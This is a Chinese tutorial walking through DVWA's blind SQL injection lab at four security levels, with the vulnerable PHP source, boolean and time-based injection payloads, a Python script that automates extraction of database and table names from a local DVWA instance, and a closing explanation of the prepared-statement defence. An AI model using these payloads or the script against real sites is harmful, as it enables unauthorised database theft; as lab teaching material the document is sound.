目录

  1. 安全级别Low
    1. 源码分析
    2. 漏洞复现
  2. 安全级别Medium
  3. 安全级别High
  4. 安全级别Impossible

  普通sql注入会显示出成功信息或者sql错误信息,攻击者可以根据回显来窃取数据库信息。而一般情况网站管理员不将数据库错误信息直接返回,而是返回自己设定的信息或者不显示,因此攻击者无法确定注入的sql语句是否正确,也无法得到库名、表名等。
  根据页面不同的响应方式,SQL盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注。
  基于布尔的盲注:
  通过构造判断条件,如数据库中库名、表名长度是否相等、字段名是否相同、字段名某个字符是否相等,根据服务器返回的结果(成功或失败),不断调整判断条件中的数值直到命中。此类注入需要服务器回显部分信息,如语句执行成功还是失败等。
  基于时间的盲注:
  通过构造判断条件,使用sleep()函数,当判断为true时sleep一段时间,false时不执行。通过服务器的响应时间判断语句是否命中。此类注入不需要服务器回显信息,只需要响应时间即可。
  基于错误的盲注:
  依赖于几个报错函数,如floor和count、group by冲突报错,UpdateXml()函数、ExtracValue()函数等,执行错误返回数据库信息。

安全级别Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  和七中的普通sql注入不同,这里并没有使用mysqli_error返回错误信息。无论sql语句是错误还是正确,只能得到exists或者missing两种结果。
  DVWA中只有如下两种显示:


漏洞复现

获取数据库名长度

1
2
3
1' and length(database())>5 #    显示MISSING
1' and length(database())>3 # 显示exists
1' and length(database())=4 # 显示exists

  这里使用length函数获取长度,与设定数值比较,一步步测试,得到库名长度为4。

获取数据库名

  mysql中有字符串函数 substr(),可以从指定位置开始截取指定长度的字符串,其参数为substr(string string,num start,num length)。其中string为字符串,start为起始位置,length为长度。
  因此可以使用如下语句测试每个字符:

1
2
1' and substr(database(),1,1)='a'#   测试第一个字符是否为a
1' and substr(database(),1,1)='b'# 测试第一个字符是否为b

  mysql中也有ascii()函数,可以返回字符的ascii码值,也可使用如下语句来测试:

1
2
3
1' and ascii(substr(database(),1,1))>80#
1' and ascii(substr(database(),1,1))<120#
1' and ascii(substr(database(),1,1))=100#

  最后获取到当前连接数据库的名称为:dvwa。

获取数据库表名

  通过信息数据库 information_schema 可以得到数据库中的表、字段等信息,具体如何获取请参考文章DVWA(七):SQL-Injection(sql注入)

  代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
猜测表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())<5 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

猜测表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

猜测第一个表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
猜测第二个表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 #

  最后获取到表个数为2,表名分别为guestbook和users。

获取表中字段名

1
2
3
4
5
6
7
8
9
猜测字段个数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 #
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #

猜测字段长度
1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1))=7 #

猜测字段名称
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=117 #

  就算猜到了字段名称,字段具体值要一个个猜中还是很困难的,只能凭借用户习惯和运气来测试,这也是sql盲注的难点。sql盲注及其耗费时间,往往需要编写脚本来批量测试。这里给出一个python脚本如下(脚本来源以dvwa为例学习简单sql布尔盲注的详细脚本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
s = requests.Session()
#payload应该包括所有大小写字母和其他字符,这里是简化使用
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'
#此处提交需要用户登录的cookie,可以使用burpsuit抓取
headers = {'Cookie': 'security=low; PHPSESSID=1rgudn49lotqe6hedvv6uu7ioj'}
#url为dvwa中sql盲注地址
url="http://192.168.71.1/DVWA/vulnerabilities/sqli_blind/"

for j in range(1,50):
databaseLen_payload = '?id=1\' and length(database())='+str(j)+' %23&Submit=Submit#'
# 所有payload里的注释#要用url编码%23表示,因为这是直接添加在url里的
if 'User ID exists in the database.' in s.get(url+databaseLen_payload, headers=headers).text:
databaseLen = j
break
print('database_lenth: '+str(databaseLen))
databse_name = ''
for j in range(1,databaseLen+1):
for i in payloads:
databse_payload = '?id=1\' and substr(database(),'+str(j)+',1)=\''+str(i)+'\' %23&Submit=Submit#'

if 'User ID exists in the database.' in s.get(url+databse_payload, headers=headers).text:
databse_name += i
print('database_name: '+databse_name)

# 3.爆破表的个数
for j in range(1,50):
tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+tableNum_payload, headers=headers).text:
tableNum = j
break
print('tableNum: '+str(tableNum))

# 4.爆出所有的表名
# (1)爆出各个表名的长度
for j in range(0,tableNum):
table_name = ''
for i in range(1,50):
tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'

if 'User ID exists in the database.' in s.get(url+tableLen_payload, headers=headers).text:
tableLen = i
print('table'+str(j+1)+'_length: '+str(tableLen))

# (2)内部循环爆破每个表的表名
for m in range(1,tableLen+1):
for n in payloads:
table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+table_payload, headers=headers).text:
table_name += n
print('table'+str(j+1)+'_name: '+table_name)

  结果如下:

  以上例子都是基于布尔的盲注,也可以使用基于时间的盲注获取信息。输入:

1
1' and if(length(database())=4,sleep(5),1 )# 

  当length正确时,网页会加载至少5秒;当length错误时,网页很快就返回。如下图,可以看到延迟时间为5.02秒。

安全级别Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}

?>

  中级代码中,使用POST获取传入参数,同时使用mysqli_real_escape_string来过滤一些特殊字符。所以当使用带引号的变量’dvwa’或者’users’时,可以使用16进制来代替。
  中级的盲注过程和低级类似,其中中级需要POST方法提交,并注意一些字符的绕过,可参考上一篇文章DVWA(七):SQL-Injection(sql注入)

安全级别High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount 随机延时
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  查询语句中使用Limit 1限制结果为一条,可以直接使用#注释该限制。同时在查询失败时,会使用sleep随机延时0-5秒,所以不能使用基于时间的盲注,可以使用基于布尔的盲注,和安全级别low过程类似。

安全级别Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

  Impossible代码中使用 Anti-CSRF token防止CSRF攻击,使用is_numeric( $id )判断输入的id是数字还是字符串,只有输入为数字才执行sql查询。

  使用db->prepare和data->bindParam预处理sql语句,使得传入的变量被固定为数据,因此也就不会当做代码执行。最后验证sql语句查询结果数目$data->rowCount() == 1,只有为一条时才输出,有效防止爆库。